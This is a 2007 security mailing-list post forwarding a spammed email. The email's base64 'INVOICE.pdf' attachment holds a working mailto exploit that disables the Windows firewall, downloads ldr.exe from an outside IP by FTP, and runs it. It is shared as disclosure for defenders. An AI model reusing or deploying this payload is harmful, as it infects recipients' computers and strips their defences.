full-disclosure - PDF mailto exploit in the wild

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Message-Id: <200710231218.l9NCIqMt021774@asti.maths.usyd.edu.au>
Date: Tue, 23 Oct 2007 22:18:52 +1000
From: Paul Szabo <psz@...hs.usyd.edu.au>
To: full-disclosure@...ts.grok.org.uk
Subject: PDF mailto exploit in the wild

In case you are interested... messages like the following were spammed
to my users tonight.

Cheers,

Paul Szabo   psz@...hs.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---
> From sabansal1@...il.com Tue Oct 23 18:20:46 2007
> Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.187])
> 	by london.ucc.usyd.edu.au (Postfix) with ESMTP id 17D582CAC1E
> 	for <tang@...hs.usyd.edu.au>; Tue, 23 Oct 2007 18:20:13 +1000 (EST)
> Received: by nf-out-0910.google.com with SMTP id b2so1929536nfb
>         for <tang@...hs.usyd.edu.au>; Tue, 23 Oct 2007 01:20:12 -0700 (PDT)
> DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
>         d=gmail.com; s=beta;
>         h=domainkey-signature:received:received:message-id:to:subject:date:mime-version:x-mailer:x-mimeole:thread-index:content-type:from;
>         bh=RBeyhq9knF4zOhfDArq39Bm0/FWUFdutXHfudq1gwxE=;
>         b=Qs8RvpCyO4UBVRo3N73MXad3ZQWzfT/6L1+snsI7Ty0ZwHuynJLpIBAIcVEGGxvfs9+pB06orF5efPl7aYqq3jQBI19jZBMUE9Tcf2TndqhPmE3nIADCgUnWEP5xo5xGug2lq6coG8MfdZd6+oIYtkdCMzl6nweV1f76zYWereQ=
> DomainKey-Signature: a=rsa-sha1; c=nofws;
>         d=gmail.com; s=beta;
>         h=received:message-id:to:subject:date:mime-version:x-mailer:x-mimeole:thread-index:content-type:from;
>         b=h1M0bnJzcqTTj5XzB6QgMJ0ugePdD1uvgzov2kTbStB+KW9WsynewPJJlv0ml/ILNka98867Gm2QrvL+2V5esH7Flnm5EJXpMxDSwiSv84SExd7TZFxdAsy2tYd2eiQ+Wy2Z6SlaLdZdbQv27sJ8tdN9QGNxBFWyYotdY4LwH7Y=
> Received: by 10.82.112.3 with SMTP id k3mr5564785buc.1193127611679;
>         Tue, 23 Oct 2007 01:20:11 -0700 (PDT)
> Received: from ?12.206.143.237? ( [12.206.143.237])
>         by mx.google.com with ESMTPS id k7sm6753182nfh.2007.10.23.01.20.06
>         (version=SSLv3 cipher=OTHER);
>         Tue, 23 Oct 2007 01:20:10 -0700 (PDT)
> Message-ID: <G9THMfvCFEH0Ii.362DBDDF78@...18BS>
> To: <andrewadams2650@...mail.com>
> Subject: STATEMET  indigene 
> Date: Tue, 23 Oct 2007 08:11:47 +0000
> MIME-Version: 1.0
> X-Mailer: Microsoft Office Outlook, Build 11.0.5510
> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
> Thread-Index: leRJrPkueCIQWNOdN8y1PxNCM0wkvbPn8IKv
> Content-type: multipart/mixed;
>         boundary="----=_NextPart_000_00F6_04BCC8AB.87205748"
> From: Gilbert <sabansal1@...il.com>
> X-PMX-Version: USyd20070806 5.3.3.310218, Antispam-Engine: 2.5.2.311128, Antispam-Data: 2007.10.23.5823
> X-PerlMx-Spam: Gauge=IIIIIII, Probability=7%, Report='PDF_ATTACHED_2 0, PDF_SIZE_0_10K 0, __ATTACHMENT_SIZE_0_10K 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __FROM_GMAIL 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __HELO_GMAIL 0, __MIME_VERSION 0, __RDNS_GMAIL 0, __SANE_MSGID 0, __USER_AGENT_MS_GENERIC 0, __pbl.spamhaus.org_TIMEOUT , __sbl.spamhaus.org_TIMEOUT '
> Content-Length: 5618
> Status: R
> 
> ------=_NextPart_000_00F6_04BCC8AB.87205748
> Content-Type: text/plain;
>         charset="Windows-1251"
> Content-Transfer-Encoding: 7bit
> 
>  fanner ctenoid varment
> 
> ------=_NextPart_000_00F6_04BCC8AB.87205748
> Content-type: application/octet-stream;
>         name="BILL.pdf"
> Content-Transfer-Encoding: base64
> Content-Disposition: attachment;
>         filename="INVOICE.pdf"
> 
> JVBERi0xLjYNJeLjz9MNCjQgMCBvYmogPDwvTGluZWFyaXplZCAxL0wgMzA3NDEvTyA2L0UgMjY4
> ODEvTiAxL1QgMzA2MTUvSCBbIDUzNiAxNDZdPj4NZW5kb2JqDSAgICAgICAgICAgICAgICAgICAg
> DQp4cmVmDQo0IDEyDQowMDAwMDAwMDE2IDAwMDAwIG4NCjAwMDAwMDA2ODIgMDAwMDAgbg0KMDAw
> MDAwMDc0MSAwMDAwMCBuDQowMDAwMDAwOTI4IDAwMDAwIG4NCjAwMDAwMDA5NzcgMDAwMDAgbg0K
> MDAwMDAwMTAwNiAwMDAwMCBuDQowMDAwMDI1NDA5IDAwMDAwIG4NCjAwMDAwMjU1OTggMDAwMDAg
> bg0KMDAwMDAyNjA0MiAwMDAwMCBuDQowMDAwMDI2MzMwIDAwMDAwIG4NCjAwMDAwMjY3ODYgMDAw
> MDAgbg0KMDAwMDAwMDUzNiAwMDAwMCBuDQp0cmFpbGVyDQo8PC9TaXplIDE2L1ByZXYgMzA2MDUv
> Um9vdCA1IDAgUi9JbmZvIDMgMCBSL0lEWzxGNEU2NDFGMjI2MzA5MjVCRjM0NkYwRkE2NDExRDZF
> QT48Q0Y1QTJFNkM4NTY3Nzg0OEEwRjZEOEVBQzFBMDQ1Qzg+XT4+DQpzdGFydHhyZWYNCjANCiUl
> RU9GDQogICAgICAgICAgICAgICAgDQo1IDAgb2JqPDwvTWV0YWRhdGEgMiAwIFIvUGFnZXMgMSAw
> IFIvVHlwZS9DYXRhbG9nPj4NZW5kb2JqDTYgMCBvYmo8PC9Dcm9wQm94WzAgMCA1OTUgODQyXS9Q
> YXJlbnQgMSAwIFIvQ29udGVudHMgMTMgMCBSL1JvdGF0ZSAwL0dyb3VwPDwvSSB0cnVlL0NTL0Rl
> dmljZVJHQi9TL1RyYW5zcGFyZW5jeT4+L01lZGlhQm94WzAgMCA1OTUgODQyXS9SZXNvdXJjZXMg
> NyAwIFIvVHlwZS9QYWdlL0FBPDwvTyAxNCAwIFI+Pj4+DWVuZG9iag0xNCAwIG9iajw8L1VSSSht
> YWlsdG86JS8uLi8uLi8uLi8uLi8uLi8uLi9XaW5kb3dzL3N5c3RlbTMyL2NtZCIuZXhlIiIgL2Mg
> L3EgXCJAZWNobyBvZmYmbmV0c2ggZmlyZXdhbGwgc2V0IG9wbW9kZSBtb2RlPWRpc2FibGUmZWNo
> byBvIDgxLjk1LjE0Ni4xMzA+MSZlY2hvIGJpbmFyeT4+MSZlY2hvIGdldCAvbGRyLmV4ZT4+MSZl
> Y2hvIHF1aXQ+PjEmZnRwIC1zOjEgLXYgLUE+bnVsJmRlbCAvcSAxJiBzdGFydCBsZHIuZXhlJlwi
> IFwiJlwiICJudWwuYmF0KS9TL1VSST4+DWVuZG9iag0xIDAgb2JqPDwvQ291bnQgMS9UeXBlL1Bh
> Z2VzL0tpZHNbNiAwIFJdPj4NCmVuZG9iag0KMiAwIG9iajw8L1N1YnR5cGUvWE1ML0xlbmd0aCAz
> NDI5L1R5cGUvTWV0YWRhdGE+PnN0cmVhbQ0KPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0w
> TXBDZWhpSHpyZVN6TlRjemtjOWQiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRh
> LyIgeDp4bXB0az0iMy4xLTcwMiI+CiAgIDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53
> My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+CiAgICAgIDxyZGY6RGVzY3JpcHRpb24g
> cmRmOmFib3V0PSIiCiAgICAgICAgICAgIHhtbG5zOnhhcD0iaHR0cDovL25zLmFkb2JlLmNvbS94
> YXAvMS4wLyI+CiAgICAgIDwvcmRmOkRlc2NyaXB0aW9uPgogICAgICA8cmRmOkRlc2NyaXB0aW9u
> IHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2Vs
> ZW1lbnRzLzEuMS8iPgogICAgICAgICA8ZGM6Zm9ybWF0PmFwcGxpY2F0aW9uL3BkZjwvZGM6Zm9y
> bWF0PgogICA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgogICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK
> ICAgICAgICAgICAgICAgICAgICAgICAgICAgCjw/eHBhY2tldCBlbmQ9InciPz4NCmVuZHN0cmVh
> bQ1lbmRvYmoNeHJlZg0KMCA0DQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMjY4ODEgMDAwMDAg
> bg0KMDAwMDAyNjkzMSAwMDAwMCBuDQowMDAwMDMwNDM2IDAwMDAwIG4NCnRyYWlsZXINCjw8L1Np
> emUgND4+DQpzdGFydHhyZWYNCjExNg0KJSVFT0YNCg==
> 
> ------=_NextPart_000_00F6_04BCC8AB.87205748--

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